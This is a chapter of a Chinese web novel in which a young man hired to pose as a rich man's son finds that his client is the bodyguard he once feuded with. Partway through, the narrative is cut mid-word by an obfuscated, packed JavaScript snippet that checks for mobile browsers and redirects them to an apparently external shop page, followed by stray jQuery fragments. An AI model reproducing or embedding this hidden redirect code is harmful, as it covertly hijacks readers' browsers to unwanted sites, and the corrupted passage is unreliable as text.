发给宋见恩:「我接了个大单,消失几天,这次是真的要发达了,你等着看我衣锦还乡!」 宋见恩秒回:「?还乡的时候身上器官还齐全吗?」 乔玉才懒得搭理他。 发给房东老头:「叔我不退租了,过几天交下月的租金给你,房间里的东西给我留着啊,别扔,要是有人来砸门你就报警。」 房东老头秒回:「我信你个鬼!赶紧滚蛋吧你!」 乔玉哄了他五分钟。 发给梁少:「哥,我又欠你一次,真的很谢谢你!」 梁少还没回复,一通电话打了进来,乔玉手滑按到接听,电话里霎时传来一阵丝滑响亮的国骂,脏得不能听。 林豹已经发现他跑了。 乔玉毫不犹豫地挂断电话,关机。 反正该通知的人都已经通知过,可以放心失联了。 车窗开了一半,外面的夏风呼呼吹进来,很舒服,乔玉惬意地闭上眼睛,清楚听见自己胸膛里砰砰作响的心跳声。 这单委托的酬劳给得那么慷慨,如果换成是其他陌生客户,他自己都会担心背后是不是有什么猫腻。 但乔玉相信自己对人的直觉,也相信这次的介绍人。 梁少是个好人,他的朋友不会坏到哪里去。 虽然他的保镖是很坏啦。 蔫儿坏。 如果之后还有机会见到梁少,乔玉一定要劝他换个保镖。 “帅哥,我这车只能到这儿啊!”出租车在路边停下,司机翻起计价牌,“前面是私家道路,开不进去的,你得自己走一段。” 乔玉循声望出去,前方是一条很开阔的马路,两旁尽是郁郁葱葱的林木,绿意繁盛。 他付钱下车,走了大概几百米,看见一座相当华丽的住宅区大门,宛如欧式古堡,古堡里守着的人都不像保安,像拍电影的。 一身正装的管家走出来,目光扫过眼前人的朴素衣着,没有露出半点异色,客客气气地问:“您好,欢迎来到天澜云境,请问是要拜访哪位住户?” “商先生。”乔玉回忆了一下刚才背下来的地址,“我只知道他姓商,住在1号别墅。” “商先生?……请您稍等。”管家扶着耳麦走到一旁,很快又回来,示意放行。 “久等了,请进。”他的语气比刚才还要恭敬许多,主动躬身介绍,“住宅区内有直达别墅的班车,不过这趟班车刚刚发车,下一趟需要再等十五分钟,您可以在这边稍作等待……” 十五分钟? 走都走到了。 “不用了。”乔玉摇摇头,“我自己进去吧。” 他背着包走进这片奢华私密的住宅区,一路上都在琢磨等会儿应该跟老板沟通哪些内容。 十五分钟后,他还在路上琢磨。 包好沉,风好重,肩膀好酸。 ……怎么还没到?? 小区里为什么会有那么茂密的森林和那么大的湖泊啊?! 湖里甚至还有天鹅。 活的,会扑棱翅膀。 要不是先前见过管家,乔玉简直要怀疑自己是不是走错路误入了哪个生态公园。 别墅群还在前方,乔玉走累了,停下脚步拉开背包,决定减轻一下份量。 后方传来车辆行驶的声音,他循声回头,心里已经有点后悔。 早知道就坐班车了。 前方有一道独自步行的身影,司机按响喇叭,车子即将平稳流畅地绕过对方前行。 商牧钧在后座看财务报表,喇叭声响起的瞬间,他掀了掀眸。 车窗外的身影一晃而过。 乔玉羡慕地望着那辆黑色迈巴赫同自己擦肩而过,扬长而去。 他还以为是班车呢,本来想试试中途拦车。 原本扬长而去的迈巴赫忽然在前方停下。 缓缓向后倒车。 直到停在他面前。 戴着白手套的司机下车,毕恭毕敬拉开后车门:“请上车。” 乔玉:? 这小区连班车都这么豪华吗。 “谢谢!”乔玉绽开一个大大的笑容,毫不犹豫地弯腰上车。 夏日浓烈的蝉鸣与热气,随着来人一道倏然涌进车里。 商牧钧最先嗅到的,是一股清新酸甜的香气。 日光打亮了男孩灿烂的脸庞,右边的脸颊肉微微鼓起,眼珠还是又黑又亮,上翘的唇角沾着一点汁液,大约是橘子味的。 他在边走边吃橘子,白皙掌心捏着橙黄果皮,怡然自得,好似浑然不觉四周蓊郁风景有多么奢侈瑰丽。 商牧钧看得好笑:“哪儿来的橘子?” 乔玉没想到班车上还有其他乘客。 更没想到对方主动同自己搭话。 “……买的。”他下意识回应。 本来打算带去火车上吃的,买了一兜子,把背包塞得好沉。 从明亮户外骤然转到幽暗车厢,乔玉的视野不适应地晃了一下,眼前的景物才渐渐清晰。 宽敞的后车空间里坐着一个西装革履的男人,一丝不苟的西装包裹着高大身躯,裸露在外的皮肤寥寥,仅有握着文件的大手,喉结轻滚的脖颈,和斯文矜贵的面孔。 看清对方模样的刹那,乔玉面露惊色:“等等,你是……!” 男人微微挑眉,好整以暇地等他反应。 是那个刚要和小天后结婚的商…… “商、商……”乔玉明明才看过他的八卦,名字就在嘴边,却抓不住,“呃,反正就是新闻上那个对不对!” 商牧钧:“……” 对,也不对。 见了面都认不出来? “商牧钧。”他无奈道。 “对对对!”乔玉眸光闪亮,笑得露出小虎牙,“商先生,我看过你很多报道,你好厉害!” 商牧钧轻笑一声,没有接话。 小骗子。 他不再看乔玉,视线重新落到手中的报表上,淡声道:“开车吧。” “好的,商先生。”前方司机恭敬应声。 迈巴赫继续向秀丽风景深处的别墅群驶去。 商先生…… 乔玉忽然意识到了什么。 那位以20万日薪的高价雇佣他演儿子的老板,也姓商。 ……原来这不是班车啊。 剩下来的几分钟车程分外安静。 商牧钧默不作声看文件。 乔玉默不作声吃橘子。 边吃边偷偷打量对面的男人,脑袋里疯狂琢磨,腮帮子一鼓一鼓,像只仓鼠。 等迈巴赫在1号别墅外面停下时,乔玉的橘子吃完了,脑瓜子也动完了。 商牧钧下车,瞥见他彻底恍然大悟的神情:“知道我是谁了?” 乔玉乖乖点头:“知道了,商先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338130|199263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。” “还不改口?”商牧钧领他走进别墅。 “哦。”乔玉亦步亦趋跟着,脆生生地喊,“哥!” “……”男人脚步一顿,“哥?” 乔玉仔细打量对方的神情,尝试揣摩:“这么叫不对吗?” 眼前这位商先生看上去还不到三十岁,不像是能做他爸爸的年纪,何况都结过婚了,用不着躲逼婚。 所以大概率是那位商老板子侄辈的亲戚,而且知道商老板雇演员的事。 “那……”乔玉斟酌了一下,小心地改口,“哥哥?” 这声哥哥喊得又甜又软。 商牧钧的步子彻底停住,哑然失笑。 乔玉看得晃神,差点没一脚踩进景观水池。 哥哥笑起来的时候特别帅。 怪不得这么能结婚。 不过最帅的还得是老板爸爸。 富有且慷慨的爸爸不想结婚,才会花这么多钱雇他演儿子。 乔玉探头往别墅里张望:“哥哥,我爸什么时候过来?” 商牧钧语气揶揄:“你叫得倒是顺口。” “职业素养嘛。”乔玉权当这是夸奖,抓住机会跟潜在客户套近乎,“哥哥,我跟我爸约的是三点,等会儿我爸来了,你可要帮我证明我是准时到的……” “我不是也准时到了么?”商牧钧说,“小玉。” 乔玉:“……?” 等等。 不对。 这声小玉有点耳熟。 明媚水润的杏眼陡然睁大了,乔玉反应过来,难以置信地打量男人的面孔,很不确定:“哥……呃,爸爸?” “嗯。”商牧钧唇角微扬,“乖。” 还是这么喊比较有趣。 乔玉顾不上琢磨他语气里的恶趣味,恍然大悟:“所以刚才就是您给我打的电话……” “你好像记不住我的名字,也认不出我的声音。”商牧钧说。 “对不起!”乔玉急忙想要解释,他确实从小就对声音不太敏感,“我……” 商牧钧又施施然道:“而且不记得见过我。” 乔玉:? 他记得啊,在新闻上见过! 下一秒,他看见斯文俊美的男人摘掉了眼镜,没了那层镜片遮挡柔化,形状锐利的眸子彻底露出来,气势迫人。 眉骨处的伤痕也清晰可见,平添一抹凶悍野性。 乔玉:“…………” 乔玉:“??????” 操,是死保镖! “在心里骂我?”商牧钧冷不丁开口,“终于认出来了?” “……”乔玉努力管理自己濒临失控的表情,“怎、怎么可能骂您!” 这人居然真是梁少的朋友?? 梁少介绍过来的朋友为什么就是他啊!! 商牧钧不语,意味深长地看他。 “绝对没有!”乔玉攥着拳头屈辱开口,“……爸爸!” 这次倒没有气得鼓起腮帮子,商牧钧想。 不过…… 男人微微俯身,伸手掐住他的右脸颊,修长指骨霎时沾染上橘子香气。 明明已经吃完了橘子,这侧脸颊还是比左边要鼓一些。 “婴儿肥?”他若有所思地掐了掐。 拔牙的伤处还没完全长好,乔玉痛得唔唔两声,眼珠瞬间蒙上一层湿润雾气。 ……他就说这个死保镖坏得很!! 商牧钧见状一怔,正要松开手。 余光里,有道身影快步向别墅走来,高跟鞋踩得踢踏作响:“商——” 显然是个认识商牧钧的女人。 乔玉也看到了。 他现在是什么身份来着? 哦,老板爸爸的混世魔王儿子。 他可是很有职、业、素、养的。 电光石火之间,圆润水眸里燃起熊熊火焰,乔玉扬起拳头,对准近在咫尺的死保镖,狠狠挥出! “——放手啊!你这个混蛋!!!”